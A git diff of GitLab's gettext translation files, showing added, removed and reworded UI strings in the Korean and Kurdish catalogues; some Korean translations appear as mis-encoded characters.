-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -32838,6 +33506,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -32907,6 +33575,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33006,6 +33668,9 @@ msgstr "목요ì¼"
msgid "Time"
msgstr "시간"
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33057,6 +33722,9 @@ msgstr ""
msgid "Time tracking"
msgstr "시간 추ì "
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "첫 번째 머지 리퀘스트(MR)ê¹Œì§€ì˜ ì‹œê°„"
@@ -33230,9 +33898,6 @@ msgstr[0] "분"
msgid "Time|s"
msgstr "ì´ˆ"
-msgid "Tip:"
-msgstr "íŒ:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,15 +34129,15 @@ msgstr "토글 네비게ì´ì…˜"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "사ì´ë“œë°” 토글"
msgid "Toggle the Performance Bar"
msgstr ""
-msgid "Toggle this dialog"
-msgstr ""
-
msgid "Toggle thread"
msgstr ""
@@ -33503,9 +34165,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -33927,6 +34589,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34170,6 +34835,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr ""
msgid "Upload file"
msgstr "íŒŒì¼ ì—…ë¡œë“œ"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34650,6 +35321,9 @@ msgstr "전체 알림 설정 사용"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34767,27 +35444,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -34920,6 +35615,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -34941,6 +35639,9 @@ msgstr ""
msgid "Users"
msgstr "사용ìžë“¤"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr "%{humanized_resource_name}ì—ì„œ 잠재ì ì¸ ìŠ¤íŒ¸ì„ íƒì§€í–ˆìŠµë‹ˆë
msgid "We don't have enough data to show this stage."
msgstr "ì´ ë‹¨ê³„ë¥¼ ë³´ì—¬ì£¼ê¸°ì— ì¶©ë¶„í•œ ë°ì´í„°ê°€ 없습니다."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "웹 IDE"
@@ -35693,16 +36394,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -35979,6 +36677,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "위키"
@@ -36087,6 +36788,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36516,6 +37235,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr "ì½ê¸° ì „ìš© GitLab ì¸ìŠ¤í„´ìŠ¤ì—는 쓰기가 불가능합니다."
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36627,9 +37349,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr "승ì¸ëœ 애플리케ì´ì…˜ (%{size})"
msgid "Your authorized applications"
msgstr "승ì¸ëœ 애플리케ì´ì…˜"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -36984,9 +37715,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37183,9 +37911,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr "다른 것들 중"
-
msgid "and"
msgstr ""
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://나ì˜-bitbucket-server"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -37832,7 +38599,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] "머지 리퀘스트(MR)"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -37992,9 +38762,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38022,12 +38789,9 @@ msgstr "ë‹¤ìŒ ì‚¬ìš©ìžì— ì˜í•´ 승ì¸ë¨: "
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "ìžë™ 머지 취소"
-
msgid "mrWidget|Check out branch"
msgstr "브랜치 ì²´í¬ì•„웃"
@@ -38067,9 +38831,6 @@ msgstr "ë°°í¬ í†µê³„ë¥¼ ë¡œë“œí•˜ëŠ”ë° ì‹¤íŒ¨í•˜ì˜€ìŠµë‹ˆë‹¤."
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "만약 %{missingBranchName} 브랜치가 ë‹¹ì‹ ì˜ ë¡œì»¬ ì €ìž¥ì†Œì— ì¡´ìž¬í•œë‹¤ë©´, ëª…ë ¹ì¤„ì„ ì‚¬ìš©í•˜ì—¬ 수ë™ìœ¼ë¡œ 머지할 수 있습니다."
@@ -38085,12 +38846,18 @@ msgstr "ë°°í¬ í†µê³„ 로딩중"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "멘션"
msgid "mrWidget|Merge"
msgstr "머지"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "머지 실패."
@@ -38489,6 +39256,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38612,6 +39385,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "ì´ ë¬¸ì„œ"
diff --git a/locale/ku_TR/gitlab.po b/locale/ku_TR/gitlab.po
index 1e5fb0f1117..ef1ec2a15fc 100644
--- a/locale/ku_TR/gitlab.po
+++ b/locale/ku_TR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ku\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:22\n"
+"PO-Revision-Date: 2021-06-01 20:43\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
